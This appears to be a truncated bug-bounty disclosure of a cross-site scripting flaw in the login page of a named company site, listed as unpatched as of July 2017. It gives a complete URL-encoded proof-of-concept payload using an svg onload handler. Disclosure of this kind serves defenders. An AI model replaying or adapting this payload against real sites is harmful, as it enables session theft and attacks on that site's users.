slx.procheminc.com XSS vulnerability

Vulnerable URL: http://slx.procheminc.com/SlxBase/login.aspx?ctl00%24ContentPlaceHolderArea%24slxLogin%24UserName=%3C%2fscript%2f%22--%3E%3Csvg%2fonload%3dprompt%28%2fOPENBUGBOUNTY%2f%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| X...